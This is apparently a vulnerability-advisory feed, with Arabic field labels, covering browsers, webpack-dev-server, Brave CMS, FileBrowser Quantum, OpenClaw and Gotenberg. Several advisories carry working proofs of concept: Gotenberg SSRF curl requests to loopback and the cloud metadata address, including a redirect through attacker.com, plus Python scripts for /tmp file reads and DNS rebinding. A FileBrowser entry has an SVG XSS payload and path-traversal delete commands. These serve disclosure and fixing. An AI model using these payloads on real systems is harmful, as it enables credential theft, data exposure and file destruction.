الوصف الكامل

Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place. This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.

نوع الثغرة

CWE-1188 — CWE-1188

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

المراجع

الوصف الكامل

webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.

نوع الثغرة

CWE-749 — CWE-749

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Tahoe 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

المراجع

الوصف الكامل

Zen is a firefox-based browser. Prior to 1.19.12b, the ZEN Browser incorrectly truncates long hostnames in the address bar and shows only the attacker-controlled prefix of the subdomain, hiding the actual registrable domain (eTLD+1). As a result, an attacker can craft extremely long malicious subdomains that visually imitate trusted brands, and the browser will display only the spoofed prefix, misleading users about the actual origin of the site. This directly compromises the URL bar as a security indicator and creates a phishing/supply-chain attack vector. This vulnerability is fixed in 1.19.12b.

نوع الثغرة

CWE-451 — CWE-451

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

المراجع

الوصف الكامل

Zen is a firefox-based browser. Prior to 1.19.12b, RSS feed URLs entered by the user are validated to http: or https: in promptForFeedUrl, but item links inside the feed are not subject to the same restriction. The provider maps each RSS/Atom item link into item.url, filters only for presence and date, and returns the item list. The live-folder manager later creates pinned lazy tabs from these values with gBrowser.addTrustedTab(item.url, ...). This vulnerability is fixed in 1.19.12b.

نوع الثغرة

CWE-20 — Input Validation

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N

المراجع

الوصف الكامل

Zen is a firefox-based browser. Prior to 1.19.9b, Zen Browser ships a Mozilla Application Resource (MAR) updater (org.mozilla.updater) that has had all MAR signature verification stripped from the Firefox codebase it was forked from. The MAR files served to users contain zero cryptographic signatures, and the updater binary contains zero cryptographic verification code. This eliminates the defense-in-depth that MAR signing provides. If the update server or GitHub release pipeline is compromised, arbitrary unsigned code can be delivered to all Zen users via the auto-update mechanism. This vulnerability is fixed in 1.19.9b.

نوع الثغرة

CWE-347 — CWE-347

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (`/forms/chromium/convert/url`), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to `downloadFrom` and `webhook` but is a separate finding from the initial request validation those advisories cover. ### Summary Gotenberg's Chromium URL-to-PDF endpoint (`/forms/chromium/convert/url`) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks `file://` URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF. Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows `302` redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list. What makes this particularly notable is that Gotenberg's secondary features — `downloadFrom` and `webhook` — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not. ### Details **Finding 1: Zero default SSRF protection on Chromium URL endpoint** The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in `pkg/modules/chromium/chromium.go` and the value shipped in Docker is: ``` ^file:(?!//\/tmp/).* ``` This regex only blocks `file://` URIs outside of `/tmp/`. HTTP and HTTPS requests to any host — including `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, and `169.254.169.254` — are not filtered at all. Meanwhile, the `downloadFrom` and `webhook` endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint. **Finding 2: Redirect-based SSRF bypass on all endpoints** Both `downloadFrom` and `webhook` use Go's default `http.Client{}` with no `CheckRedirect` function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination. The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target. ### PoC Tested on Docker using `gotenberg/gotenberg:8` (v8.30.1) on `localhost:3000`. No authentication is required on any endpoint. **Environment:** ``` $ curl http://localhost:3000/version 8.30.1 $ curl http://localhost:3000/health {"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}} ``` **1. Control — external URL works as expected:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://example.com' \ -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 14961 bytes $ file test.pdf test.pdf: PDF document, version 1.4, 1 page(s) ``` **2. Control — `file://` protocol is correctly blocked by default deny-list:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=file:///etc/passwd' \ -w "HTTP %{http_code}" HTTP 403 Body: Forbidden ``` **3. SSRF to localhost — NOT blocked:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://127.0.0.1:3000/health' \ -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10196 bytes ``` Chromium fetched its own `/health` endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback. **4. Cloud metadata IP — NOT blocked:** ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://169.254.169.254/latest/meta-data/' \ -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked) ``` The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF. **5. Redirect-based bypass — Chromium follows 302 to internal target:** Redirect server on the host (port 9999): ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:3000/health') self.end_headers() def do_HEAD(self): self.do_GET() HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever() ``` ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://172.17.0.1:9999/' \ -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10244 bytes $ file redir.pdf redir.pdf: PDF document, version 1.4, 1 page(s) ``` Chromium followed the 302 redirect from `http://172.17.0.1:9999/` (external, passes any deny-list) to `http://127.0.0.1:3000/health` (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination. The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only `file://` URIs were blocked by the default deny-list. The redirect from an external server to `127.0.0.1` was also followed without any check on the redirect target. ### Impact Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access. Practical attack scenarios: - **Cloud credential theft**: Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints. - **Internal service access**: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards. - **Internal port scanning**: Use response timing and content differences to map internal infrastructure. - **Deny-list bypass via redirect**: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at `https://attacker.com/r` that responds with `302 → http://169.254.169.254/latest/meta-data/`. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF. The redirect bypass also affects the `downloadFrom` and `webhook` endpoints, which use Go's `http.Client{}` with no `CheckRedirect` function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop. ---

الإصدارات المتأثرة

All versions < 8.32.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

المراجع

الوصف الكامل

Brave CMS is an open-source CMS. Prior to commit 6c56603, the contact form is publicly accessible (no authentication required). User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive. The resulting content is then rendered in a Blade email template using the unescaped {!! $msg !!} directive. Because HTML is not sanitized, arbitrary markup can be injected into the email body. While modern HTML-capable email clients (Gmail or Outlook Web) typically block JavaScript execution, they still render HTML content. This allows attackers to craft convincing phishing interfaces inside the email sent to the administrator. This issue has been patched via commit 6c56603.

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

المراجع

الوصف الكامل

Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

المراجع

الوصف الكامل

Improper neutralization of special elements used in a command ('command injection') in Copilot Chat (Microsoft Edge) allows an unauthorized attacker to disclose information over a network.

نوع الثغرة

CWE-77 — Command Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

Other issue in the WebRTC component. This vulnerability was fixed in Firefox ESR 140.10.2 and Thunderbird 140.10.2.

الإصدارات المتأثرة

140.10.2

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Memory safety bugs present in Thunderbird 150.0.1. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 150.0.2 and Thunderbird 150.0.2.

الإصدارات المتأثرة

150.0.2

نوع الثغرة

CWE-119 — Buffer Overflow

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

Memory safety bugs present in Thunderbird ESR 140.10.1 and Thunderbird 150.0.1. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 150.0.2, Firefox ESR 140.10.2, Firefox ESR 115.35.2, Thunderbird 150.0.2, and Thunderbird 140.10.2.

الإصدارات المتأثرة

115.35.2

نوع الثغرة

CWE-125 — Out-of-bounds Read

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Incorrect boundary conditions in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 150, Thunderbird 150, Firefox ESR 140.10.1, Thunderbird 140.10.1, and Firefox ESR 115.35.2.

الإصدارات المتأثرة

115.35.2

نوع الثغرة

CWE-754 — CWE-754

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

Use-after-free in the DOM: Networking component. This vulnerability was fixed in Firefox 150.0.2, Firefox ESR 140.10.2, Firefox ESR 115.35.2, Thunderbird 150.0.2, and Thunderbird 140.10.2.

الإصدارات المتأثرة

115.35.2

نوع الثغرة

CWE-416 — Use After Free

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

المراجع

الوصف الكامل

## Summary FileBrowser Quantum serves inline SVG files without a `Content-Security-Policy` header, allowing embedded JavaScript in SVG files to execute when accessed via public share links. Verified on v1.3.0-stable. ## Affected product - **Product:** FileBrowser Quantum (`gtsteffaniak/filebrowser`) - **Verified version:** v1.3.0-stable - **Docker image:** gtstef/filebrowser:latest - **Affected endpoint:** `GET /public/api/resources/download?hash=HASH&inline=true` - **CWE:** CWE-79 — Cross-site Scripting (Stored) ## Impact - **Stored XSS** — Malicious SVG persists and executes for every visitor to the share link - **No authentication required to trigger** — Public share links are accessible to anyone - **Session hijacking** — If authenticated users click the link, their session can be stolen - **Phishing** — Attacker can redirect or overlay fake login forms ## Reproduction 1. Login as any user with upload permission 2. Upload SVG file: ```xml <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg> ``` 3. Create public share for the file 4. Access the share link with `?inline=true` 5. JavaScript executes in browser ## Root cause The inline download endpoint returns SVG files with: ``` Content-Type: image/svg+xml Content-Disposition: inline; filename="xss.svg" X-Content-Type-Options: nosniff ``` But no CSP header to block script execution. The upstream project (filebrowser/filebrowser) mitigates this with: ``` Content-Security-Policy: script-src 'none' ``` ## Suggested fix Add CSP header on inline file downloads: ```go w.Header().Set("Content-Security-Policy", "script-src 'none'") ``` This matches the upstream filebrowser/filebrowser implementation.

الإصدارات المتأثرة

All versions < 6bfc3974192e

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

المراجع

الوصف الكامل

### **Summary** Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. ### **Affected Components** **Two distinct vulnerable code paths:** 1. Stable versions (e.g., gtstef/filebrowser:stable) `DELETE /public/api/resources?hash=<hash>&path=../victim` Root cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath() 2. Development / HEAD (e.g., commit eabdfd9) `DELETE /public/api/resources/bulk?hash=<hash>` Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath() ### **Steps to reproduce (Stable Version)** **1. Create a directory structure:** ``` /folder/shared_subdir/ (shared) /folder/protected.txt (outside shared directory) ``` **2. Create a public share:** ``` Path: /shared_subdir AllowDelete=true ``` **3. Send request:** ``` curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt" #Observe: #protected.txt is deleted despite being outside the shared directory ``` ### **Proof of Concept (HEAD / bulk endpoint)** ``` curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \ -H "Content-Type: application/json" \ -d '[{"path":"../protected.txt"}]' ``` ### **Alternative PoC Scripts:** [poc_v3.sh](https://github.com/user-attachments/files/26159404/poc_v3.sh) (**If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.**) ### **Impact** An unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.

الإصدارات المتأثرة

All versions < 112740bdd41d

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

المراجع

الوصف الكامل

## Summary The `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output. ## Details The default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`: ```go fs.StringSlice("chromium-deny-list", []string{`^file:(?!//\/tmp/).*`}, "Set the denied URLs for Chromium using regular expressions - supports multiple values") ``` `pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes: ```go if !httpLikeScheme(parsed.Scheme) { return outboundDecision{}, nil } ``` So any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly. The HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`): ```go options.AllowedFilePrefixes = []string{ctx.DirPath()} ``` and the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`): ```go if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 { prefixMatch := false for _, prefix := range options.allowedFilePrefixes { if strings.HasPrefix(e.Request.URL, "file://"+prefix) { prefixMatch = true break } } if !prefixMatch { allow = false } } ``` The `len(options.allowedFilePrefixes) > 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString("url", &url)` takes the form value without scheme validation and passes it to `convertUrl` → `chromium.Pdf` → Chromium navigation. Gotenberg stores uploaded request assets at `/tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext>` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller. ## Proof of Concept Reproduction uses the stock Docker image with no auth: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 ``` Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet): ```python import requests, threading, time, subprocess, re TARGET = "http://localhost:3000" SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}" bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode() def bob_runs(): requests.post( f"{TARGET}/forms/chromium/convert/html", files={"files": ("index.html", bob_html, "text/html")}, data={"waitDelay": "15s"}, timeout=60, ) def alice_reads(url): r = requests.post( f"{TARGET}/forms/chromium/convert/url", files={"url": (None, url)}, timeout=30, ) if r.status_code != 200: return None open("/tmp/_alice.pdf", "wb").write(r.content) return subprocess.run( ["pdftotext", "/tmp/_alice.pdf", "-"], capture_output=True, text=True, ).stdout threading.Thread(target=bob_runs, daemon=True).start() time.sleep(2) # Step 1: list /tmp/ to discover the gotenberg work UUID tmp = alice_reads("file:///tmp/") work = re.search(r"([0-9a-f-]{36})", tmp).group(1) # Step 2: walk into the work dir to find an in-flight request dir wd = alice_reads(f"file:///tmp/{work}/") for req in re.findall(r"([0-9a-f-]{36})", wd): if req == work: continue rd = alice_reads(f"file:///tmp/{work}/{req}/") if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)): # Step 3: read bob's uploaded HTML txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}") print("SECRET recovered:", SECRET in txt) break # Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp) r = requests.post(f"{TARGET}/forms/chromium/convert/url", files={"url": (None, "file:///etc/passwd")}, timeout=30) print(f"/etc/passwd probe: HTTP {r.status_code}") # 403 Forbidden ``` Output against gotenberg 8.31.0: ``` SECRET recovered: True /etc/passwd probe: HTTP 403 ``` `file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds. ## Impact An unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing. The deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read. ## Recommended Fix Remove the `len(options.allowedFilePrefixes) > 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default: ```go if allow && strings.HasPrefix(e.Request.URL, "file://") { if len(options.allowedFilePrefixes) == 0 { allow = false } else { prefixMatch := false for _, prefix := range options.allowedFilePrefixes { if strings.HasPrefix(e.Request.URL, "file://"+prefix) { prefixMatch = true break } } if !prefixMatch { allow = false } } } ``` Equivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium. --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < 8.32.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

## Summary `FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF. ## Details `pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision: ```go func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error { _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline) return err } ``` The Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver. The CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check: ```go err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline) ``` This also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change. The webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments. ## Proof of Concept Reproduction uses a public DNS service that randomizes the response per query. `rebind.<subdomain>.requestrepo.com` resolves to `<public-ip>` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `<public-ip>%127.0.0.1`. Setup: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 # Simulate an internal-only HTTP service that the default deny-list blocks. docker exec gotenberg-poc sh -c \ 'mkdir -p /tmp/rebind_srv && \ echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html' docker exec -d gotenberg-poc sh -c \ 'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1' ``` Alice runs the attack without auth: ```python import requests, subprocess T = "http://localhost:3000" REBIND = "http://rebind.<subdomain>.requestrepo.com/" MARKER = "INTERNAL-ONLY-REBIND-HIT" hits = 0 for i in range(20): r = requests.post( f"{T}/forms/chromium/convert/url", files={"url": (None, REBIND)}, timeout=30, ) if r.status_code != 200: continue open("/tmp/_r.pdf", "wb").write(r.content) txt = subprocess.run( ["pdftotext", "/tmp/_r.pdf", "-"], capture_output=True, text=True, ).stdout if MARKER in txt: hits += 1 print(f"{hits}/20 rebind hits") ``` Observed output against gotenberg 8.31.0: ``` 2/20 rebind hits ``` The marker renders in the attacker's PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated. ## Impact An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough. ## Recommended Fix Pin the resolved IP from Gotenberg's `decideOutbound` check all the way to Chromium's connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work: ```go decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline) if err != nil { allow = false } else if len(decision.Pinned) > 0 { pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String()) req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...) } ``` Alternative: pass `--host-resolver-rules="MAP <hostname> <pinned-ip>"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request. --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

المراجع

الوصف الكامل

OpenClaw before 2026.4.22 derives loopback MCP owner context from spoofable server-issued bearer tokens in request headers. Non-owner loopback clients can present themselves as owner to bypass owner-gated operations by manipulating the sender-owner header metadata.

الإصدارات المتأثرة

2026.4.22

نوع الثغرة

CWE-290 — CWE-290

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

OpenClaw before 2026.4.22 contains a time-of-check/time-of-use race condition in the OpenShell filesystem bridge that allows attackers to read files outside the intended mount root. Attackers can exploit symlink swaps during filesystem operations to bypass sandbox restrictions and access unauthorized file contents.

الإصدارات المتأثرة

2026.4.22

نوع الثغرة

CWE-367 — CWE-367

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

OpenClaw before 2026.4.22 contains a time-of-check/time-of-use race condition in OpenShell sandbox filesystem writes that allows attackers to redirect writes outside the intended mount root. Attackers can exploit symlink swaps during filesystem operations to bypass sandbox restrictions and write files outside the local mount root.

الإصدارات المتأثرة

2026.4.22

نوع الثغرة

CWE-367 — CWE-367

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

المراجع

الوصف الكامل

OpenClaw before 2026.4.10 contains an insufficient environment variable denylist vulnerability in its exec environment policy that allows operator-supplied overrides of high-risk interpreter startup variables including VIMINIT, EXINIT, LUA_INIT, and HOSTALIASES. Attackers can exploit this by manipulating these environment variables to influence downstream execution behavior or network connectivity.

الإصدارات المتأثرة

2026.4.10

نوع الثغرة

CWE-184 — CWE-184

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

OpenClaw before 2026.4.10 contains a server-side request forgery vulnerability in browser navigation policy that allows attackers to bypass hostname validation through DNS rebinding attacks. Attackers can exploit inconsistent hostname resolution between validation and actual network requests to pivot to internal resources via unallowlisted hostname URLs.

الإصدارات المتأثرة

2026.4.10

نوع الثغرة

CWE-367 — CWE-367

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

المراجع

الوصف الكامل

OpenClaw before 2026.4.10 contains an improper network binding vulnerability in the sandbox browser CDP relay that exposes Chrome DevTools Protocol on 0.0.0.0. Attackers can access the DevTools protocol outside intended local sandbox boundaries by exploiting the overly broad binding configuration.

الإصدارات المتأثرة

2026.4.10

نوع الثغرة

CWE-1188 — CWE-1188

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

المراجع

الوصف الكامل

OpenClaw before 2026.4.10 contains an incomplete navigation guard vulnerability that allows attackers to trigger navigation without complete SSRF policy enforcement. Browser press/type style interactions, including pressKey and type submit flows, can bypass post-action security checks to execute unauthorized navigation.

الإصدارات المتأثرة

2026.4.10

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

المراجع

الوصف الكامل

